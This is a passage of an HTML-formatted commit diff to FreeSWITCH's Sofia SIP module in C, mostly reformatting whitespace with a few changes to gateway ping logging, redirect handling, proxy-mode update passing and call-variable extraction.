-                                                                                                profile->sipip,
-                                                                                                ipv6 ? "]" : "",
-                                                                                                profile->tls_sip_port);
</del><ins>+                                                                                                profile->contact_user, ipv6 ? "[" : "", profile->sipip, ipv6 ? "]" : "", profile->tls_sip_port);
</ins><span class="cx">                                                 profile->tls_bindurl =
</span><span class="cx">                                                         switch_core_sprintf(profile->pool,
</span><span class="cx">                                                                                                 "sips:%s@%s%s%s:%d",
</span><del>-                                                                                                profile->contact_user,
-                                                                                                ipv6 ? "[" : "",
-                                                                                                profile->sipip,
-                                                                                                ipv6 ? "]" : "",
-                                                                                                profile->tls_sip_port);
</del><ins>+                                                                                                profile->contact_user, ipv6 ? "[" : "", profile->sipip, ipv6 ? "]" : "", profile->tls_sip_port);
</ins><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         if (profile->tls_bind_params) {
</span><span class="lines">@@ -3421,7 +3444,7 @@
</span><span class="cx">                                         switch_assert(xml_params);
</span><span class="cx">                                         switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "purpose", "gateways");
</span><span class="cx">                                         switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "profile", profile->name);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         for (domain_tag = switch_xml_child(domains_tag, "domain"); domain_tag; domain_tag = domain_tag->next) {
</span><span class="cx">                                                 switch_xml_t droot, x_domain_tag;
</span><span class="cx">                                                 const char *dname = switch_xml_attr_soft(domain_tag, "name");
</span><span class="lines">@@ -3431,7 +3454,8 @@
</span><span class="cx">                                                 if (!zstr(dname)) {
</span><span class="cx">                                                         if (!strcasecmp(dname, "all")) {
</span><span class="cx">                                                                 switch_xml_t xml_root, x_domains;
</span><del>-                                                                if (switch_xml_locate("directory", NULL, NULL, NULL, &xml_root, &x_domains, xml_params, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                if (switch_xml_locate("directory", NULL, NULL, NULL, &xml_root, &x_domains, xml_params, SWITCH_FALSE) ==
+                                                                        SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                                                         for (x_domain_tag = switch_xml_child(x_domains, "domain"); x_domain_tag; x_domain_tag = x_domain_tag->next) {
</span><span class="cx">                                                                                 dname = switch_xml_attr_soft(x_domain_tag, "name");
</span><span class="cx">                                                                                 parse_domain_tag(profile, x_domain_tag, dname, parse, alias);
</span><span class="lines">@@ -3444,7 +3468,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_event_destroy(&xml_params);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -3520,12 +3544,12 @@
</span><span class="cx">                         if (gateway->ping_count < gateway->ping_max) {
</span><span class="cx">                                 gateway->ping_count++;
</span><span class="cx">
</span><del>-                                if (gateway->ping_count >= 0) gateway->status = SOFIA_GATEWAY_UP;
</del><ins>+                                if (gateway->ping_count >= 0)
+                                        gateway->status = SOFIA_GATEWAY_UP;
</ins><span class="cx">
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</span><del>-                                        "Ping succeeded %s with code %d - count %d/%d/%d, state %s\n",
-                                        gateway->name, status, gateway->ping_min, gateway->ping_count, gateway->ping_max,
-                                        status_names[gateway->status]);
</del><ins>+                                                                 "Ping succeeded %s with code %d - count %d/%d/%d, state %s\n",
+                                                                 gateway->name, status, gateway->ping_min, gateway->ping_count, gateway->ping_max, status_names[gateway->status]);
</ins><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         if (gateway->state == REG_STATE_REGED) {
</span><span class="lines">@@ -3536,13 +3560,13 @@
</span><span class="cx">                         if (gateway->ping_count > gateway->ping_min) {
</span><span class="cx">                                 gateway->ping_count--;
</span><span class="cx">
</span><del>-                                if (gateway->ping_count <= 0) gateway->status = SOFIA_GATEWAY_DOWN;
</del><ins>+                                if (gateway->ping_count <= 0)
+                                        gateway->status = SOFIA_GATEWAY_DOWN;
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</span><del>-                                "Ping failed %s with code %d - count %d/%d/%d, state %s\n",
-                                gateway->name, status, gateway->ping_min, gateway->ping_count, gateway->ping_max,
-                                status_names[gateway->status]);
</del><ins>+                                                         "Ping failed %s with code %d - count %d/%d/%d, state %s\n",
+                                                         gateway->name, status, gateway->ping_min, gateway->ping_count, gateway->ping_max, status_names[gateway->status]);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 gateway->ping = switch_epoch_time_now(NULL) + gateway->ping_freq;
</span><span class="lines">@@ -3576,11 +3600,14 @@
</span><span class="cx">                 int network_port = 0;
</span><span class="cx">                 switch_caller_profile_t *caller_profile = NULL;
</span><span class="cx">
</span><del>-                sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</del><ins>+                sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</ins><span class="cx">
</span><span class="cx">                 switch_channel_set_variable(channel, "sip_reply_host", network_ip);
</span><span class="cx">                 switch_channel_set_variable_printf(channel, "sip_reply_port", "%d", network_port);
</span><del>-                
</del><ins>+
+                switch_channel_set_variable_printf(channel, "sip_network_ip", "%s", network_ip);
+                switch_channel_set_variable_printf(channel, "sip_network_port", "%d", network_port);
+
</ins><span class="cx">                 if ((caller_profile = switch_channel_get_caller_profile(channel))) {
</span><span class="cx">                         caller_profile->network_addr = switch_core_strdup(caller_profile->pool, network_ip);
</span><span class="cx">                 }
</span><span class="lines">@@ -3599,7 +3626,7 @@
</span><span class="cx">                                 if (switch_stristr("appearance", call_info)) {
</span><span class="cx">                                         switch_channel_set_variable(channel, "presence_call_info_full", call_info);
</span><span class="cx">                                         if ((p = strchr(call_info, ';'))) {
</span><del>-                                                switch_channel_set_variable(channel, "presence_call_info", p+1);
</del><ins>+                                                switch_channel_set_variable(channel, "presence_call_info", p + 1);
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         } else if ((status == 180 || status == 183 || status == 200)) {
</span><span class="lines">@@ -3611,14 +3638,15 @@
</span><span class="cx">                                         state = "progressing";
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                if (sip &&
</del><ins>+                                if (sip &&
</ins><span class="cx">                                         sip->sip_from && sip->sip_from->a_url && sip->sip_from->a_url->url_user && sip->sip_from->a_url->url_host &&
</span><span class="cx">                                         sip->sip_to && sip->sip_to->a_url && sip->sip_to->a_url->url_user && sip->sip_to->a_url->url_host) {
</span><del>-                                        sql = switch_mprintf("select 'appearance-index=1' from sip_subscriptions where expires > -1 and hostname='%q' and event='call-info' and "
-                                                                                 "sub_to_user='%q' and sub_to_host='%q'",
-                                                                                 mod_sofia_globals.hostname, sip->sip_to->a_url->url_user, sip->sip_from->a_url->url_host);
</del><ins>+                                        sql =
+                                                switch_mprintf("select 'appearance-index=1' from sip_subscriptions where expires > -1 and hostname='%q' and event='call-info' and "
+                                                                         "sub_to_user='%q' and sub_to_host='%q'", mod_sofia_globals.hostname, sip->sip_to->a_url->url_user,
+                                                                         sip->sip_from->a_url->url_host);
</ins><span class="cx">                                         sofia_glue_execute_sql2str(profile, profile->ireg_mutex, sql, buf, sizeof(buf));
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "QUERY SQL %s [%s]\n", sql, buf);
</span><span class="cx">                                         }
</span><span class="lines">@@ -3626,26 +3654,23 @@
</span><span class="cx">
</span><span class="cx">                                         if (!zstr(buf)) {
</span><span class="cx">                                                 sql = switch_mprintf("update sip_dialogs set call_info='%q',call_info_state='%q' "
</span><del>-                                                                                         "where uuid='%q'", buf, state,
-                                                                                         switch_core_session_get_uuid(session));
</del><ins>+                                                                                         "where uuid='%q'", buf, state, switch_core_session_get_uuid(session));
</ins><span class="cx">
</span><span class="cx">                                                 if (mod_sofia_globals.debug_sla > 1) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "QUERY SQL %s\n", sql);
</span><span class="cx">                                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if ((status == 180 || status == 183 || status == 200)) {
</del><ins>+                if ((status == 180 || status == 183 || status == 200)) {
</ins><span class="cx">                         const char *x_freeswitch_support;
</span><span class="cx">
</span><span class="cx">                         switch_channel_set_flag(channel, CF_MEDIA_ACK);
</span><span class="cx">
</span><del>-                        extract_vars(sip, session);
-                        
</del><span class="cx">                         if ((x_freeswitch_support = sofia_glue_get_unknown_header(sip, "X-FS-Support"))) {
</span><span class="cx">                                 tech_pvt->x_freeswitch_support_remote = switch_core_session_strdup(session, x_freeswitch_support);
</span><span class="cx">                         }
</span><span class="lines">@@ -3655,7 +3680,7 @@
</span><span class="cx">                         } else if (sip->sip_server && sip->sip_server->g_string) {
</span><span class="cx">                                 switch_channel_set_variable(channel, "sip_user_agent", sip->sip_server->g_string);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sofia_glue_set_extra_headers(channel, sip, SOFIA_SIP_PROGRESS_HEADER_PREFIX);
</span><span class="cx">
</span><span class="cx">                         sofia_update_callee_id(session, profile, sip, SWITCH_FALSE);
</span><span class="lines">@@ -3666,16 +3691,16 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel && sip && (status == 300 || status == 302 || status == 305) && switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><del>-                        sip_contact_t * p_contact = sip->sip_contact;
</del><ins>+                        sip_contact_t *p_contact = sip->sip_contact;
</ins><span class="cx">                         int i = 0;
</span><del>-                        char var_name[80];        
</del><ins>+                        char var_name[80];
</ins><span class="cx">                         const char *diversion_header;
</span><span class="cx">                         char *full_contact = NULL;
</span><span class="cx">                         char *invite_contact;
</span><span class="cx">                         const char *br;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!p_contact) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Missing contact header in redirect request\n");
</span><span class="cx">                                 goto end;
</span><span class="lines">@@ -3688,7 +3713,7 @@
</span><span class="cx">
</span><span class="cx">                                 const char *sip_redirect_profile, *sip_redirect_context, *sip_redirect_dialplan, *sip_redirect_fork;
</span><span class="cx">
</span><del>-                                if ((a_session = switch_core_session_locate(br)) && (a_channel = switch_core_session_get_channel(a_session))) {
</del><ins>+                                if ((a_session = switch_core_session_locate(br)) && (a_channel = switch_core_session_get_channel(a_session))) {
</ins><span class="cx">                                         switch_stream_handle_t stream = { 0 };
</span><span class="cx">                                         char separator[2] = "|";
</span><span class="cx">                                         char *redirect_dialstring;
</span><span class="lines">@@ -3708,7 +3733,7 @@
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         sip_redirect_fork = switch_channel_get_variable(channel, "sip_redirect_fork");
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_true(sip_redirect_fork)) {
</span><span class="cx">                                                 *separator = ',';
</span><span class="cx">                                         }
</span><span class="lines">@@ -3717,15 +3742,15 @@
</span><span class="cx">                                                 if (p_contact->m_url) {
</span><span class="cx">                                                         full_contact = sip_header_as_string(home, (void *) p_contact);
</span><span class="cx">                                                         invite_contact = sofia_glue_strip_uri(full_contact);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_%d", i);
</span><span class="cx">                                                         switch_channel_set_variable(a_channel, var_name, full_contact);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (i == 0) {
</span><span class="cx">                                                                 switch_channel_set_variable(channel, "sip_redirected_to", full_contact);
</span><span class="cx">                                                                 switch_channel_set_variable(a_channel, "sip_redirected_to", full_contact);
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (p_contact->m_url->url_user) {
</span><span class="cx">                                                                 switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_user_%d", i);
</span><span class="cx">                                                                 switch_channel_set_variable(channel, var_name, p_contact->m_url->url_user);
</span><span class="lines">@@ -3741,7 +3766,7 @@
</span><span class="cx">                                                                 switch_channel_set_variable(channel, var_name, p_contact->m_url->url_params);
</span><span class="cx">                                                                 switch_channel_set_variable(a_channel, var_name, p_contact->m_url->url_params);
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_snprintf(var_name, sizeof(var_name), "sip_redirect_dialstring_%d", i);
</span><span class="cx">                                                         switch_channel_set_variable_printf(channel, var_name, "sofia/%s/%s", sip_redirect_profile, invite_contact);
</span><span class="cx">                                                         switch_channel_set_variable_printf(a_channel, var_name, "sofia/%s/%s", sip_redirect_profile, invite_contact);
</span><span class="lines">@@ -3750,28 +3775,29 @@
</span><span class="cx">                                                         i++;
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         redirect_dialstring = stream.data;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_channel_set_variable(channel, "sip_redirect_dialstring", redirect_dialstring);
</span><span class="cx">                                         switch_channel_set_variable(a_channel, "sip_redirect_dialstring", redirect_dialstring);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         p_contact = sip->sip_contact;
</span><span class="cx">                                         full_contact = sip_header_as_string(home, (void *) sip->sip_contact);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((diversion_header = sofia_glue_get_unknown_header(sip, "diversion"))) {
</span><span class="cx">                                                 switch_channel_set_variable(channel, "sip_redirected_by", diversion_header);
</span><span class="cx">                                                 switch_channel_set_variable(a_channel, "sip_redirected_by", diversion_header);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (sofia_test_pflag(profile, PFLAG_MANUAL_REDIRECT)) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirect: Transfering to %s %s %s\n",
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirect: Transfering to %s %s %s\n",
</ins><span class="cx">                                                                                  p_contact->m_url->url_user, sip_redirect_dialplan, sip_redirect_context);
</span><del>-                                                switch_ivr_session_transfer(a_session, p_contact->m_url->url_user, sip_redirect_dialplan, sip_redirect_context);                                        
</del><ins>+                                                switch_ivr_session_transfer(a_session, p_contact->m_url->url_user, sip_redirect_dialplan, sip_redirect_context);
</ins><span class="cx">                                         } else if ((!strcmp(profile->sipip, p_contact->m_url->url_host))
</span><span class="cx">                                                          || (profile->extsipip && !strcmp(profile->extsipip, p_contact->m_url->url_host))
</span><span class="cx">                                                          || (switch_xml_locate_domain(p_contact->m_url->url_host, NULL, &root, &domain) == SWITCH_STATUS_SUCCESS)) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirect: Transfering to %s\n", p_contact->m_url->url_user);
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Redirect: Transfering to %s\n",
+                                                                                 p_contact->m_url->url_user);
</ins><span class="cx">                                                 switch_ivr_session_transfer(a_session, p_contact->m_url->url_user, NULL, NULL);
</span><span class="cx">                                                 switch_xml_free(root);
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -3779,7 +3805,7 @@
</span><span class="cx">                                                 tech_pvt->redirected = switch_core_session_strdup(session, invite_contact);
</span><span class="cx">                                                 free(invite_contact);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (home) {
</span><span class="cx">                                                 su_home_unref(home);
</span><span class="cx">                                                 home = NULL;
</span><span class="lines">@@ -3808,39 +3834,37 @@
</span><span class="cx">
</span><span class="cx">                 if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">
</span><del>-                        if (!sofia_test_flag(tech_pvt, TFLAG_SENT_UPDATE)) {
-                                goto end;
-                        }
</del><ins>+                        if (sofia_test_flag(tech_pvt, TFLAG_SENT_UPDATE)) {
+                                sofia_clear_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
</ins><span class="cx">
</span><del>-                        sofia_clear_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
</del><ins>+                                if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (other_session = switch_core_session_locate(uuid))) {
+                                        const char *r_sdp = NULL;
+                                        switch_core_session_message_t *msg;
</ins><span class="cx">
</span><del>-                        if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (other_session = switch_core_session_locate(uuid))) {
-                                const char *r_sdp = NULL;
-                                switch_core_session_message_t *msg;
</del><ins>+                                        if (sip->sip_payload && sip->sip_payload->pl_data &&
+                                                sip->sip_content_type && sip->sip_content_type->c_subtype && switch_stristr("sdp", sip->sip_content_type->c_subtype)) {
+                                                tech_pvt->remote_sdp_str = switch_core_session_strdup(tech_pvt->session, sip->sip_payload->pl_data);
+                                                r_sdp = tech_pvt->remote_sdp_str;
+                                                sofia_glue_tech_proxy_remote_addr(tech_pvt);
+                                        }
</ins><span class="cx">
</span><del>-                                if (sip->sip_payload && sip->sip_payload->pl_data &&
-                                        sip->sip_content_type && sip->sip_content_type->c_subtype && switch_stristr("sdp", sip->sip_content_type->c_subtype)) {
-                                        tech_pvt->remote_sdp_str = switch_core_session_strdup(tech_pvt->session, sip->sip_payload->pl_data);
-                                        r_sdp = tech_pvt->remote_sdp_str;
-                                        sofia_glue_tech_proxy_remote_addr(tech_pvt);
-                                }
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Passing %d %s to other leg\n", status, phrase);
</ins><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Passing %d %s to other leg\n", status, phrase);
</del><ins>+                                        msg = switch_core_session_alloc(other_session, sizeof(*msg));
+                                        msg->message_id = SWITCH_MESSAGE_INDICATE_RESPOND;
+                                        msg->from = __FILE__;
+                                        msg->numeric_arg = status;
+                                        msg->string_arg = switch_core_session_strdup(other_session, phrase);
+                                        if (r_sdp) {
+                                                msg->pointer_arg = switch_core_session_strdup(other_session, r_sdp);
+                                                msg->pointer_arg_size = strlen(r_sdp);
+                                        }
</ins><span class="cx">
</span><del>-                                msg = switch_core_session_alloc(other_session, sizeof(*msg));
-                                msg->message_id = SWITCH_MESSAGE_INDICATE_RESPOND;
-                                msg->from = __FILE__;
-                                msg->numeric_arg = status;
-                                msg->string_arg = switch_core_session_strdup(other_session, phrase);
-                                if (r_sdp) {
-                                        msg->pointer_arg = switch_core_session_strdup(other_session, r_sdp);
-                                        msg->pointer_arg_size = strlen(r_sdp);
</del><ins>+                                        switch_core_session_queue_message(other_session, msg);
+                                        switch_core_session_rwunlock(other_session);
</ins><span class="cx">                                 }
</span><del>-
-                                switch_core_session_queue_message(other_session, msg);
-                                switch_core_session_rwunlock(other_session);
</del><ins>+                                goto end;
</ins><span class="cx">                         }
</span><del>-                        goto end;
</del><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if ((status == 180 || status == 183 || status == 200)) {
</span><span class="lines">@@ -3866,7 +3890,7 @@
</span><span class="cx">                                 const char *from_user = "", *from_host = "", *to_user = "", *to_host = "", *contact_user = "", *contact_host = "";
</span><span class="cx">                                 const char *user_agent = "", *call_id = "";
</span><span class="cx">                                 char *sql = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sip->sip_user_agent) {
</span><span class="cx">                                         user_agent = switch_str_nil(sip->sip_user_agent->g_string);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3909,33 +3933,38 @@
</span><span class="cx">                                                                                  "values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')",
</span><span class="cx">                                                                                  call_id,
</span><span class="cx">                                                                                  switch_core_session_get_uuid(session),
</span><del>-                                                                                 to_user, to_host, from_user, from_host, contact_user,
</del><ins>+                                                                                 to_user, to_host, from_user, from_host, contact_user,
</ins><span class="cx">                                                                                  contact_host, astate, "outbound", user_agent,
</span><span class="cx">                                                                                  profile->name, mod_sofia_globals.hostname, switch_str_nil(full_contact),
</span><span class="cx">                                                                                  switch_str_nil(presence_id), switch_str_nil(presence_data), switch_str_nil(p));
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_assert(sql);
</span><span class="cx">
</span><span class="cx">                                         sofia_glue_actually_execute_sql(profile, sql, profile->ireg_mutex);
</span><span class="cx">                                         switch_safe_free(sql);
</span><span class="cx">
</span><del>-                                }                                
</del><ins>+                                }
</ins><span class="cx">                         } else if (status == 200 && (profile->pres_type)) {
</span><span class="cx">                                 char *sql = NULL;
</span><span class="cx">                                 const char *presence_data = switch_channel_get_variable(channel, "presence_data");
</span><span class="cx">                                 const char *presence_id = switch_channel_get_variable(channel, "presence_id");
</span><span class="cx">
</span><span class="cx">                                 sql = switch_mprintf("update sip_dialogs set state='%q',presence_id='%q',presence_data='%q' "
</span><del>-                                                                         "where uuid='%s';\n", astate, switch_str_nil(presence_id), switch_str_nil(presence_data),
</del><ins>+                                                                         "where uuid='%s';\n", astate, switch_str_nil(presence_id), switch_str_nil(presence_data),
</ins><span class="cx">                                                                          switch_core_session_get_uuid(session));
</span><span class="cx">                                 switch_assert(sql);
</span><span class="cx">                                 sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
</span><span class="cx">                         }
</span><ins>+
+                        extract_header_vars(profile, sip, session);
+                        extract_vars(profile, sip, session);
+                        sofia_glue_tech_track(tech_pvt->profile, session);
+                        sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (call_info) {
</span><span class="cx">                 su_free(nua_handle_home(nh), call_info);
</span><span class="lines">@@ -3954,16 +3983,16 @@
</span><span class="cx"> {
</span><span class="cx">         switch_core_session_t *other_session = NULL, *session = (switch_core_session_t *) obj;
</span><span class="cx">         const char *uuid;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                 private_object_t *tech_pvt = switch_core_session_get_private(session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (other_session = switch_core_session_locate(uuid))) {
</span><span class="cx">                         if (switch_core_session_compare(session, other_session)) {
</span><span class="cx">                                 sofia_set_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
</span><span class="cx">                                 switch_ivr_media(switch_core_session_get_uuid(other_session), SMF_REBRIDGE);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (tech_pvt->rtp_session) {
</span><span class="cx">                                         switch_rtp_clear_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3975,7 +4004,7 @@
</span><span class="cx">
</span><span class="cx">                 switch_core_session_rwunlock(session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -4031,11 +4060,11 @@
</span><span class="cx">         if (status > 100 && status < 300 && tech_pvt && !sofia_use_soa(tech_pvt) && !r_sdp && tech_pvt->last_sdp_str) {
</span><span class="cx">                 r_sdp = tech_pvt->last_sdp_str;
</span><span class="cx">         }
</span><del>-        
-        if ((channel && (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA))) ||
</del><ins>+
+        if ((channel && (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA))) ||
</ins><span class="cx">                 (sofia_test_flag(profile, TFLAG_INB_NOMEDIA) || sofia_test_flag(profile, TFLAG_PROXY_MEDIA))) {
</span><span class="cx">
</span><del>-                /* This marr in our code brought to you by people who can't read........*/
</del><ins>+                /* This marr in our code brought to you by people who can't read........ */
</ins><span class="cx">                 if (profile->ndlb & PFLAG_NDLB_ALLOW_BAD_IANANAME && r_sdp && (p = (char *) switch_stristr("g729a/8000", r_sdp))) {
</span><span class="cx">                         p += 4;
</span><span class="cx">                         *p++ = '/';
</span><span class="lines">@@ -4053,12 +4082,12 @@
</span><span class="cx">                 if ((status == 300 || status == 302 || status == 305) && session) {
</span><span class="cx">                         channel = switch_core_session_get_channel(session);
</span><span class="cx">                         tech_pvt = switch_core_session_get_private(session);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!tech_pvt || !tech_pvt->nh) {
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         if (tech_pvt->redirected) {
</span><span class="cx">                                 sofia_glue_do_invite(session);
</span><span class="cx">                                 goto done;
</span><span class="lines">@@ -4071,8 +4100,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (session) {
</span><del>-                if ((switch_channel_test_flag(channel, CF_EARLY_MEDIA) || switch_channel_test_flag(channel, CF_ANSWERED)) &&
-                        (status == 180 || status == 183)) {
</del><ins>+                if ((switch_channel_test_flag(channel, CF_EARLY_MEDIA) || switch_channel_test_flag(channel, CF_ANSWERED)) && (status == 180 || status == 183)) {
</ins><span class="cx">                         /* Must you send 180 after 183 w/sdp ? sheesh */
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Channel %s skipping state [%s][%d]\n",
</span><span class="cx">                                                          switch_channel_get_name(channel), nua_callstate_name(ss_state), status);
</span><span class="lines">@@ -4081,11 +4109,11 @@
</span><span class="cx">
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Channel %s entering state [%s][%d]\n",
</span><span class="cx">                                                  switch_channel_get_name(channel), nua_callstate_name(ss_state), status);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (r_sdp) {
</span><span class="cx">                         sdp_parser_t *parser;
</span><span class="cx">                         sdp_session_t *sdp;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!zstr(tech_pvt->remote_sdp_str) && !strcmp(tech_pvt->remote_sdp_str, r_sdp)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Duplicate SDP\n%s\n", r_sdp);
</span><span class="cx">                                 is_dup_sdp = 1;
</span><span class="lines">@@ -4111,12 +4139,12 @@
</span><span class="cx">
</span><span class="cx">         if (status == 183 && !r_sdp) {
</span><span class="cx">                 status = 180;
</span><del>-        }
-        
</del><ins>+        }
+
</ins><span class="cx">         if (status == 180 && r_sdp) {
</span><span class="cx">                 status = 183;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (channel && (status == 180 || status == 183) && switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><span class="cx">                 const char *val;
</span><span class="cx">                 if ((val = switch_channel_get_variable(channel, "sip_auto_answer")) && switch_true(val)) {
</span><span class="lines">@@ -4134,8 +4162,8 @@
</span><span class="cx">         case nua_callstate_received:
</span><span class="cx">         case nua_callstate_proceeding:
</span><span class="cx">         case nua_callstate_completing:
</span><del>-                if (!(session && channel && tech_pvt)) goto done;
-                break;
</del><ins>+                if (!(session && channel && tech_pvt))
+                        goto done;
</ins><span class="cx">         default:
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="lines">@@ -4151,7 +4179,7 @@
</span><span class="cx">                 if (status == 180) {
</span><span class="cx">                         switch_channel_mark_ring_ready(channel);
</span><span class="cx">                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 if (r_sdp) {
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">                                 if (switch_channel_test_flag(channel, CF_PROXY_MEDIA) && !switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
</span><span class="lines">@@ -4190,9 +4218,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case nua_callstate_completing:
</span><del>-                nua_ack(nh,
-                                TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
-                                TAG_END());
</del><ins>+                nua_ack(nh, TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
</ins><span class="cx">                 goto done;
</span><span class="cx">         case nua_callstate_received:
</span><span class="cx">                 if (!sofia_test_flag(tech_pvt, TFLAG_SDP)) {
